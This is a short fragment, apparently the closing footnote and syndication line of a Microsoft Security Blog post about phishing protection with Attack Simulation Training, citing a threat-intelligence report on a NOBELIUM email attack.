²New sophisticated email-based attack from NOBELIUM, Microsoft Threat Intelligence Center (MSTIC), Microsoft 365 Defender Threat Intelligence Team, Microsoft. 27 May 2021.

The post Protect against phishing with Attack Simulation Training in Microsoft Defender for Office 365 appeared first on Microsoft Security Blog.